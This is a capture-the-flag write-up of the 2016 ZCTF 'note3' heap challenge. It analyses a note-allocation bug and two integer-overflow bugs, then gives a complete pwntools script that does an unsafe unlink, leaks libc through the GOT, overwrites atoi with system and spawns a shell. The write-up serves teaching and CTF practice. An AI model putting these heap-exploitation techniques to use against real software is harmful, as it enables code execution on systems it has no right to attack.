2016 ZCTF note3: a new solution
Recently, I learned to unlink to solve this problem. There are two methods on the Internet: one is to use the edit function to read the id when the integer overflows to make the index -1, and the other is to set the block size to 0 to use the integer overflow vulnerability when writing. Data can be spilled into the next block. I took another idea: when the program allocated the id=7 block, although it indicated that the block was full, it did not take any measures, and still allocated a block, and put the block address in the location where the block size 0 is stored, so that it can go to Block 0 writes enough data to overflow into the next block.
I first analyze my solution, and then briefly describe the principles of the other two solutions.
General steps to review program protection measures.
The program has 4 functions:
- New note
- Show note (false, just print a string)
- Edit note
- Delete note
Add the note function as shown in the figure below. The main process has been marked with comments. It is worth noting that when i=7, although the note is full and the addition fails, but there is no return statement, the block is still allocated for it later and the address is saved at &ptr+7. (Note: When i=0, the size of the block is stored at qword_6020C0[0+8])
What needs to be paid attention to is the relationship between qword_6020C0 and ptr, and the memory relationship is as follows
.bss:00000000006020C0 ; __int64 qword_6020C0 .bss:00000000006020C0 qword_6020C0 dq ? ; DATA XREF: sub_400A30+D1↑w .bss:00000000006020C0 ; sub_400A30+E6↑w ... .bss:00000000006020C8 ; void *ptr .bss:00000000006020C8 ptr dq ? ; DATA XREF: sub_400A30+16↑r .bss:00000000006020C8 ; sub_400A30+BC↑w ... .bss:00000000006020D0 dq ? .bss:00000000006020D8 dq ? .bss:00000000006020E0 dq ? .bss:00000000006020E8 dq ? .bss:00000000006020F0 dq ? .bss:00000000006020F8 dq ? .bss:0000000000602100 dq ? .bss:0000000000602108 dq ?
It can be seen that the location of ptr is equivalent to the location of qword_6020C0, so the block address allocated when i=7 is stored at &ptr+7 is equivalent to being stored at qword_6020C0, which means the size of the i=0 block. By allocating i=7 blocks, the i=0 block size is overwritten by the newly allocated block address, and the block address represents a size large enough for us to overflow into the following block.
This function is useless, it just prints a string of strings.
As shown in the figure, the main operations are introduced by way of annotations.
qword_6020C0 can be understood as the recently operated block address.
The idea of exploiting the vulnerability is as follows:
After adding 7 blocks, add another block (i=7), then the size of block 0 will be changed greatly (the address of block 7), and then construct fake_chunk in block 0 and overflow to the next block Modify the header data to implement unlink. It should be noted that the size of the i=1 block exceeds the range of fastbin.
2. Leaked address
After unlink, arbitrary writing can be realized. In order to leak the function address, the output function needs to be executed. You can change the value of free@got to the value of puts@plt, and then change the address of block i to the address of puts@got, then call the delete function free( block i) to output The value of puts@got, so as to get the dynamic link library load address, and further get the system address.
Finally, change the atoi@got value to the system address, and then enter /bin/sh when selecting the function to get the shell.
The exploit code is as follows:
from pwn import * p = process('./note3') #context.log_level = 'debug' def new(size,content): p.sendlineafter('option--->>','1') p.sendlineafter('1024)',str(size)) p.sendlineafter('content:', content) p.recvuntil('\n') def edit(idx, content): p.sendlineafter('option--->>','3') p.sendlineafter('note:', str(idx)) p.sendlineafter('content:', content) p.recvuntil('success') def delete(idx): p.sendlineafter('option--->>', '4') p.sendlineafter('note:', str(idx)) #gdb.attach(p) # Allocate 7+1 blocks new(0x40, 'b'*32) new(0x80, 'b'*32) #For unlink ing, the block must be larger than fastbin new(0x80, 'b'*32) new(0x80, 'b'*32) new(0x80, 'b'*32) new(0x80, 'b'*32) new(0x80, 'b'*32) new(0x80, 'b'*32) #The size variable value of the 0th block will be overwritten by the address of the block, and then the 0th block can write enough data target = 0x6020C8 #points to ptr fd = target - 0x18 bk = target - 0x10 # Construct fake_chunk payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8 # overflow to the next chunk, overwriting the chunk header payload += p64(0x40) + p64(0x90) edit(0,payload) # Write data to block 0 overflows delete(1) # Trigger unlink=>ptr=&ptr-0x18 elf = ELF('./note3') # Write data starting from &ptr-0x18 => # 0x6020C8(ptr+0x00): elf.got['free'] chunk0_ptr # 0x6020D0(ptr+0x08): elf.got['puts'] chunk1_ptr # 0x6020D8(ptr+0x10): 0x6020C8 chunk2_ptr payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8) edit(0,payload) # Change free@got to puts@plt: # Write puts@plt to chunk0_ptr(free@got) # Note that the address sent here is 7 bits, because the program will add \x00 after the user input. If 8 bits are sent, the lower byte of the next got address will become 0. Here, the high byte of puts@plt is also \x00, so sending 7 bits has no effect. edit(0, p64(elf.plt['puts'])[:-1]) # Originally called free(chunk1_put), but actually called puts(puts@got) to leak the address delete(1) p.recvuntil('\n') # Read leaked address value puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00')) print(hex(puts_addr)) # For writing at any address, modify the point of chunk0_ptr through edit chunk2_ptr, and then modify the value pointed to by chunk0_ptr through edit chunk0_ptr. def write(where,what): edit(2, p64(where)) edit(0, p64(what)) # Get libc base address libc = ELF('./libc-2.23.so') libc_base = puts_addr - libc.symbols['puts'] log.success('libc base: ' + hex(libc_base)) # Get system function address sys_addr = libc_base + libc.symbols['system'] log.success('sys_addr: ' + hex(sys_addr)) # Change the atio@got value to the system function address write(elf.got['atoi'], sys_addr) # Because atoi is changed to system, enter "/bin/sh" when entering options, and system("/bin/sh") will be executed p.sendlineafter('option--->>','/bin/sh\x00') p.interactive()
The execution result is shown in the figure
Method 2: Integer overflow while editing
The following figure shows the function function when writing to the block, where the variable i is defined as unsigned __int64 type, in line 7, when a2 is 0, a2-1 will become "infinitely large", so that unlimited writing is possible The data overflows to the next block, and the unlink vulnerability is used to write any address, and then get the system shell.
Method 3: Input Index Integer Overflow
In the edit function, call read_num_4009B9() to let the user enter the index, and use the remainder to make the index less than 7.
Enter the read_num_4009B9() function, you can see that the program has judged the user input, and if it is less than 0, take the opposite number.
The vulnerability appears in that when the user input is the largest negative integer (ie -9223372036854775808), the hexadecimal representation in memory is 0x8000000000000000, and the process of taking the opposite number is -x=~x+1, that is, 0x7fffffffffffffff+1=0x8000000000000000. The opposite of the largest negative integer in a computer representation is still the largest negative integer!
When v0 is the largest negative integer, the condition of v0%7>=v0 can also be satisfied, and the result v3 is -1, which will write to the address pointed to by ptr[-1], and ptr[-1] points to is the address of the most recently operated block. The size of the write is qword_6020C0[-1+8], that is, ptr, which is the address of the i=6 block, that is, an "unlimited" amount of data can be written, overflow to the next block to realize unlink, and further realize any arbitrary Address writing, function address leaking, constructing and executing system("/bin/sh"), and getting the shell.